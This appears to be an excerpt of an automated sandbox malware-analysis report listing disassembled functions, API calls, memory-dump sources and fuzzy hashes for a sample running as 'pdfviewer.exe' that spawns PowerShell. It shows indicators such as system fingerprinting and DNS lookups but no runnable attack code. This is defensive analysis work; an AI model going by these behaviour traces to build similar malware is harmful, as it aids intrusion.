Function 00416644 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,EnumDisplayDevicesW,00000000,0041670D,?,-00000001,0041B0FC,?,?,00416863,Video Info,?,004169AC,?,GetRAM: ,?), ref: 00416678
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0041667E

Strings

user32.dll, xrefs: 00416673
EnumDisplayDevicesW, xrefs: 0041666E

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: EnumDisplayDevicesW$user32.dll
API String ID: 2574300362-1693391355
Opcode ID: af34b5e80eadff1b2987b13dc2e651b6a133270980b26e7b502f8b40db48fb95
Instruction ID: bffb8a391e8cbf63d1c0eded9315efc20e69fe0ee1e689c0aa8ff6c2638661ea
Opcode Fuzzy Hash: af34b5e80eadff1b2987b13dc2e651b6a133270980b26e7b502f8b40db48fb95
Instruction Fuzzy Hash: 7E118970500618AFDB61EF61CC45BDABBBCEF84709F1140FAE508A6291D6789E848E58

Function 00417E80 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,00417F22,?,00000000,00000011,00000000), ref: 00417EB1
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 00417EB7

Strings

dnsapi.dll, xrefs: 00417EAC
DnsQuery_A, xrefs: 00417EA7

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 1f81088a46c0324dda660dd481f614bad9869b2585b748a82db9a8fe1a613a36
Instruction ID: 92d1eb556667ed81b8552bf9075b82756b3340621e6324b7cba7be93811987cb
Opcode Fuzzy Hash: 1f81088a46c0324dda660dd481f614bad9869b2585b748a82db9a8fe1a613a36
Instruction Fuzzy Hash: 20111CB1A04304AED751DBAACD42B9FBBF8EB48714F5140B6F904E73C1E678DE418A58

Function 00401870 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
RtlEnterCriticalSection.KERNEL32(0041C5B4,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
LocalAlloc.KERNEL32(00000000,00000FF8,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
RtlLeaveCriticalSection.KERNEL32(0041C5B4,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction ID: 5328ea8a61f1b3c3886908a4d7eb6976bfaff4b38786c7c23389d9dab3a387f7
Opcode Fuzzy Hash: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction Fuzzy Hash: 06015BB0684390AEE719AB6A9C967957F92D749704F05C0BFE100BA6F1CB7D5480CB1E

Function 0040246C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0041C5B4,00000000,^), ref: 004024AF
RtlLeaveCriticalSection.KERNEL32(0041C5B4,00402524), ref: 00402517

Part of subcall function 00401870: RtlInitializeCriticalSection.KERNEL32(0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.KERNEL32(0041C5B4,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.KERNEL32(0041C5B4,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

^, xrefs: 00402496

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: ^
API String ID: 2227675388-551292248
Opcode ID: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction ID: 4ed45a5183fb1a6edd108f9af425bfacc088641811e0c18f6da98f6ec62fa594
Opcode Fuzzy Hash: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction Fuzzy Hash: 92113431700210AEEB25AB7A5F49B5A7BD59786358F20407FF404F32D2D6BD9C00825C

Analysis Process: pdfviewer.exePID: 5892, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	83
Total number of Limit Nodes:	4

Executed Functions

Function 0261AD48 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0261AF9E

Memory Dump Source

Source File: 00000009.00000002.3281206996.0000000002610000.00000040.00000800.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2610000_pdfviewer.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 5cfa22393f6b973f2f032aa00e9fb1e7484fb6cdccb76244889384e0eb37d4ad
Instruction ID: 6ee12cd9deccc0b0ab8bb62a6458afb9496d417f0579dc81507f1a8b7286abb3
Opcode Fuzzy Hash: 5cfa22393f6b973f2f032aa00e9fb1e7484fb6cdccb76244889384e0eb37d4ad
Instruction Fuzzy Hash: 13711070A01B458FDB24DFAAD54475ABBF2FF88304F048A2AD48AD7B50DB34E945CB91

Function 0261590D Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 026159C9

Memory Dump Source

Source File: 00000009.00000002.3281206996.0000000002610000.00000040.00000800.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2610000_pdfviewer.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: c9707769d0fb05db74f63a0cc7bca8a4ad2089c4d41821aae8c80ea58b88ca83
Instruction ID: e51b41ed14b35917ab681a570ab6152fe4ea1b7a37d511228878c1527381d619
Opcode Fuzzy Hash: c9707769d0fb05db74f63a0cc7bca8a4ad2089c4d41821aae8c80ea58b88ca83
Instruction Fuzzy Hash: AB41F0B0C00719CBDB24DFA9C88478DFBB5FF88308F64805AD419AB294DB75694ACF90

Function 02614248 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 026159C9

Memory Dump Source

Source File: 00000009.00000002.3281206996.0000000002610000.00000040.00000800.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2610000_pdfviewer.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: b6b538ba9d6d7d6e2122e7f6c3a7fc96942248248c78ba1e898ade748c134c02
Instruction ID: 48b99718b773f426bbf895115c8d86014b13c67953578adb7569d4c487dea06d
Opcode Fuzzy Hash: b6b538ba9d6d7d6e2122e7f6c3a7fc96942248248c78ba1e898ade748c134c02
Instruction Fuzzy Hash: C541D2B0C00719CBDB24DFA9C884B9DFBB5FF48308F64805AD409AB255DB756946CF91

Function 04B84050 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04B84111

Memory Dump Source

Source File: 00000009.00000002.3300704241.0000000004B80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4b80000_pdfviewer.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 218fd8fbccd174b7ba72bc6dbf4db345e0997854193a99996d2bd71e5922ce6d
Instruction ID: 0c352a3c7d259fb7cc5221a14b444ddc6ea9935f2bc761c48c0356f71a5fe818
Opcode Fuzzy Hash: 218fd8fbccd174b7ba72bc6dbf4db345e0997854193a99996d2bd71e5922ce6d
Instruction Fuzzy Hash: EA415AB5A00309CFDB14DF99C448AAABBF5FF88314F24C489D518AB321D334A841CFA0

Function 0261B730 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0261D5E6,?,?,?,?,?), ref: 0261D6A7

Memory Dump Source

Source File: 00000009.00000002.3281206996.0000000002610000.00000040.00000800.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2610000_pdfviewer.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ce25e294897186d1c47d727ab217f2f2719a3995fd0a30547036732dc0b1bd21
Instruction ID: 46868ba0f8a70fb0fbec2dc251013ec53f26d5f0c9cfb401029434b82df892b4
Opcode Fuzzy Hash: ce25e294897186d1c47d727ab217f2f2719a3995fd0a30547036732dc0b1bd21
Instruction Fuzzy Hash: 8421E6B59012589FDB10CF9AD584ADEFFF5FB48310F14805AE918A7350D378A940CFA5

Function 0261D619 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0261D5E6,?,?,?,?,?), ref: 0261D6A7

Memory Dump Source

Source File: 00000009.00000002.3281206996.0000000002610000.00000040.00000800.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2610000_pdfviewer.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7275594d3655c9baef1f275e854300b721c00a08d96812f541d3d5aac77d5bbe
Instruction ID: 5af300329a4f4f8e9618b8859a93dc10cfb44416d69f57236537d4919b30b080
Opcode Fuzzy Hash: 7275594d3655c9baef1f275e854300b721c00a08d96812f541d3d5aac77d5bbe
Instruction Fuzzy Hash: 7021F5B59002599FDB10CF9AD584ADEFFF9FB48324F24801AE918A7350C378A944CFA5

Function 0261AF38 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0261AF9E

Memory Dump Source

Source File: 00000009.00000002.3281206996.0000000002610000.00000040.00000800.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2610000_pdfviewer.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 56d91d3bcd7133a34254f68d4e79349ea880af2734d8cb64f11394fa989365ee
Instruction ID: bbd8547687d7693e2462aa9b751a842b36cf84d8a10e02372c5546a0f07ebc18
Opcode Fuzzy Hash: 56d91d3bcd7133a34254f68d4e79349ea880af2734d8cb64f11394fa989365ee
Instruction Fuzzy Hash: A61110B6C012498FCB10CF9AC544ADEFBF4EF88324F14841AD818A7210C379A545CFA1

Function 008DD4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278425244.00000000008DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8dd000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d3371e52ba3012d21650bc93a5cd2b9ae5d763df5e3e277e5f9827faa0d5eae
Instruction ID: be8fde86471038fe9ef9583005178145c1d2e040750f6d2028e7b6c930a0b50f
Opcode Fuzzy Hash: 6d3371e52ba3012d21650bc93a5cd2b9ae5d763df5e3e277e5f9827faa0d5eae
Instruction Fuzzy Hash: F821F171540344DFCB15DF14E980F26BF75FB98318F20C66AE9098A356C33AD816DBA2

Function 008DD3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278425244.00000000008DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8dd000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b49fef12c83300bd08b96f329abae837fc78dfaf647df68d1d3e66a9ecbd01
Instruction ID: 69a161e531b36de5ec1587b8f1cd7e194c23fe037cbe0eea5a5dc0845fa12a4c
Opcode Fuzzy Hash: 63b49fef12c83300bd08b96f329abae837fc78dfaf647df68d1d3e66a9ecbd01
Instruction Fuzzy Hash: 0A210671500304DFDB15DF14D9C0F26BF66FB98324F20C66AD9098B356C33AE856D6A2

Function 008ED01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278802333.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8ed000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1df0603f659407cf9e25a862d8c9091256b81fdfa6889c287ef2288f1e6c9472
Instruction ID: 40c32e99cf710cbe9766d6a36896a13769c664a48cbae81cc4eeda1ea34c6a87
Opcode Fuzzy Hash: 1df0603f659407cf9e25a862d8c9091256b81fdfa6889c287ef2288f1e6c9472
Instruction Fuzzy Hash: F121F271604784DFCB14DF25D984B26BF65FB89314F28C569D90A8B396C33AD80BCA61

Function 008ED2BC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278802333.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8ed000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b48086d71a6a18643d563724b1e68937b133c5c7f3bfc48e092e80a27fb319
Instruction ID: 263218bade7d32969f1642f85ada71df4903c92a4d82f6599bbd5ca842e563fc
Opcode Fuzzy Hash: e4b48086d71a6a18643d563724b1e68937b133c5c7f3bfc48e092e80a27fb319
Instruction Fuzzy Hash: 11213875504384DFDB01DF15D5C0B2ABB65FB85324F24C569D9498B382D37AD80ACAA2

Function 008ED006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278802333.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8ed000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9efac9c6e879d9df2f3f358a439aceb29c8ca35e978e9619f219bb10a74166b
Instruction ID: 4a8d9930c735434b2a3d0eca63016ef08f3e16758bbf2cdd6bc3138f4a809f47
Opcode Fuzzy Hash: c9efac9c6e879d9df2f3f358a439aceb29c8ca35e978e9619f219bb10a74166b
Instruction Fuzzy Hash: C9214F755087809FCB02CF14D994711BF71FB46314F28C5EAD8498B2A7C33A985ACB62

Function 008DD3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278425244.00000000008DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8dd000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 22cb541a5781f47b6e29c8f1955763a85258b90088ff8ea453e90fb15b318512
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: E011DF72404340DFCB12CF00D5C4B16BF72FB94324F24C6AAD9094B256C33AE85ACBA2

Function 008DD4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278425244.00000000008DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 008DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8dd000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: f38065381f9a500e1d626b0cc782702fc9ae82f6d1bbc29fe93a0cfc5424fbce
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 4A11E172404380CFCB12CF10D5C4B16BF71FB98324F24C6AAD8494B256C336D85ACBA2

Function 008ED2B7 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3278802333.00000000008ED000.00000040.00000800.00020000.00000000.sdmp, Offset: 008ED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_8ed000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction ID: 72df0f6b798f4b243c81176ddb19ce4853715911e7fd17ecbbaf53f5e91cb56a
Opcode Fuzzy Hash: 58489c3f61924d27558184a5eb21aea17821769c0c96028cc0fb4c2ef8240ab9
Instruction Fuzzy Hash: CA119075504380CFDB12CF14D5C4B19FB61FB85324F24C6A9D8494B756C33AD80ACBA2

Function 059304AA Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3305110403.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5930000_pdfviewer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4d8f5d84f735715570ca377835cc84935bdcab5236a52337afe3c3b1db1bd18
Instruction ID: a9ae4716968f45505e2f8070a84a5e26afe74dba62a916bcc64974e21dbd6556
Opcode Fuzzy Hash: e4d8f5d84f735715570ca377835cc84935bdcab5236a52337afe3c3b1db1bd18
Instruction Fuzzy Hash: 66E0E53094421ACFEB35DF20C85EBADB771BB44304F0089AAC40A76292DBB40AC4CF40

Analysis Process: powershell.exePID: 6188, Parent PID: 5892COMMON

Executed Functions

Function 07971810 Relevance: 5.6, Strings: 4, Instructions: 570COMMON

Download Yara Rule

Strings

4']q, xrefs: 07971CB2
4']q, xrefs: 07971B58
4']q, xrefs: 07971B4E
4']q, xrefs: 07971CA8

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q
API String ID: 0-1785108022
Opcode ID: a1fe6fe94f9362f086d87d9efb51115ed5cfcc1fa057ac8ecd010c19f383b9ba
Instruction ID: 862a3c3d732d01bd6455d29781e70207a0eea6b2bc40620052de9dfb91988f18
Opcode Fuzzy Hash: a1fe6fe94f9362f086d87d9efb51115ed5cfcc1fa057ac8ecd010c19f383b9ba
Instruction Fuzzy Hash: 38128AB1B842198FCB159B78D41176ABBAAEFC1318F14847AD945CF251EB36C841C7E1

Function 04C07B28 Relevance: .6, Instructions: 564COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d0beda54edf8416153df2aa24920f86f13d84374531b29acfbfa79bd222dba4
Instruction ID: b4b53569182f795566d9b2a1c7246eb64e0ecbefcf151b4fe69ae02925eedb91
Opcode Fuzzy Hash: 0d0beda54edf8416153df2aa24920f86f13d84374531b29acfbfa79bd222dba4
Instruction Fuzzy Hash: 55320874A01209AFDB05DFA8D584A9DFBB2FF88310F24C155E804AB3A5C735ED86CB90

Function 04C06BC0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550c54d0bda2e980987f79ee7d901eeacef540420aa87f936fd54ffff00e0eb8
Instruction ID: 3b85b8ca7456e8f193f466d32fcabffe578f46ebc5f0aef665f34d0367c6c61a
Opcode Fuzzy Hash: 550c54d0bda2e980987f79ee7d901eeacef540420aa87f936fd54ffff00e0eb8
Instruction Fuzzy Hash: FF819034A042489FCB05CF69D4809ADFFF2EF8A310F1480AAE555AB3A2D735ED55CB50

Function 04C029F0 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54bb902ac5ecf89437d65d5bc93a109598be8894176c312f871271e30cac95e8
Instruction ID: 67fdc677bd4097466096ddee20193008add52ff556c7b6772fdd25574a78d532
Opcode Fuzzy Hash: 54bb902ac5ecf89437d65d5bc93a109598be8894176c312f871271e30cac95e8
Instruction Fuzzy Hash: 06916B74A006058FCB15CF58C5989AEFBB2FF48310B2586A9D855AB3A5C735FC91CBA0

Function 079717F4 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9882a62c1b3f6fd838ed768d0803119347ddb37b170860f50fe2e3c2434f4e57
Instruction ID: 3187f27d090c59541c9663833c4db3c72c328e5798dff6be65425455d66cbad5
Opcode Fuzzy Hash: 9882a62c1b3f6fd838ed768d0803119347ddb37b170860f50fe2e3c2434f4e57
Instruction Fuzzy Hash: FB4126F0A8020ACFCB148E25D5026BABBB7EFC1748F1485A6D840DB252D73AC941C7A2

Function 04C02B00 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c059694f495de10758433a73a55fb7ed6808b5a5df5295a4ec2c326fb95eb382
Instruction ID: b458dd26ce533426c2ea853b94588fa2e192e81d80a3f4fb1e997cb66b036903
Opcode Fuzzy Hash: c059694f495de10758433a73a55fb7ed6808b5a5df5295a4ec2c326fb95eb382
Instruction Fuzzy Hash: 38413974A005059FDB09CF58C5D8AAAFBB2FF48310B158599D819AB3A4C732FD91CBA0

Function 04C07631 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1149ea644d74d48dbac44c5f480354eaa1684cf3445e57eb33997ae521f83dbf
Instruction ID: 0ef217f92fd100e80277e149a1be3dac4019dbcf3675ec77cf7cd3a8c6a0d8d0
Opcode Fuzzy Hash: 1149ea644d74d48dbac44c5f480354eaa1684cf3445e57eb33997ae521f83dbf
Instruction Fuzzy Hash: C1314175A093858FCB02DB58D894999BFB1FF4A310B0981DAD845DB3A3C235BD45CBA2

Function 04C07651 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d338e4b841c44aa86b974bd2bcc22d3bc3fb5827984d3dd9d6d131e10b4e4d4d
Instruction ID: dcfe8cff736f39036b2daf9074f8b4383c138f902adc96b28cd7a62f77856edb
Opcode Fuzzy Hash: d338e4b841c44aa86b974bd2bcc22d3bc3fb5827984d3dd9d6d131e10b4e4d4d
Instruction Fuzzy Hash: 45218E74A052498FCB01DF9CD9909AABBB1FF49310B05819AD805EB392C335FD40CBA1

Function 04C02C5C Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2197210436.0000000004C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4c00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f5d8335fb0ad12bd7473e86d2bf139a632841a9369c933a8b44281005fec3eb
Instruction ID: c066ffcd9e65700f5f460f559ae93618575072018d907f5394f1bc71a24a572f
Opcode Fuzzy Hash: 8f5d8335fb0ad12bd7473e86d2bf139a632841a9369c933a8b44281005fec3eb
Instruction Fuzzy Hash: 3D11E9349042949FDB02CF6CD8A4AE9BFB1FF0A310F0481D6D454AB2A2C736EC55CB64

Function 032CD006 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2195074752.00000000032CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 032CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_32cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 547bee87701119a64b666885015305627e7caf7aa8f11ede2647f7b9a33c6fc2
Instruction ID: 5be9863f8c0f76808f955fa7bb60e4a8d30dbfa29b061961111e04908012ce9f
Opcode Fuzzy Hash: 547bee87701119a64b666885015305627e7caf7aa8f11ede2647f7b9a33c6fc2
Instruction Fuzzy Hash: 130129724193C09ED7128A298C94652BFA8EF53224F1D85DBE9888F2A7C2695885C772

Function 032CD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2195074752.00000000032CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 032CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_32cd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c47452f1f40330d89446b42d2918a89ff7eb4a62e082ad71433a56d426c0bd59
Instruction ID: e76b017e38968ae9027bd7b8be7a0fe1559b76a35c7c09d1303c36873bf6d51a
Opcode Fuzzy Hash: c47452f1f40330d89446b42d2918a89ff7eb4a62e082ad71433a56d426c0bd59
Instruction Fuzzy Hash: 2D01A7715253849EE720CA1DCD84B67FF9CEF45324F1CC67EED494A246C2799882C6B1

Non-executed Functions

Function 07971450 Relevance: 12.8, Strings: 10, Instructions: 322COMMON

Download Yara Rule

Strings

k, xrefs: 07971545
4']q, xrefs: 07971651
4']q, xrefs: 0797165D
tP]q, xrefs: 079714D9
$]q, xrefs: 07971488
tP]q, xrefs: 079714CD
k, xrefs: 07971537
$]q, xrefs: 07971736
$]q, xrefs: 07971494
$]q, xrefs: 07971462

Memory Dump Source

Source File: 0000000A.00000002.2222390680.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7970000_powershell.jbxd

Similarity

API ID:
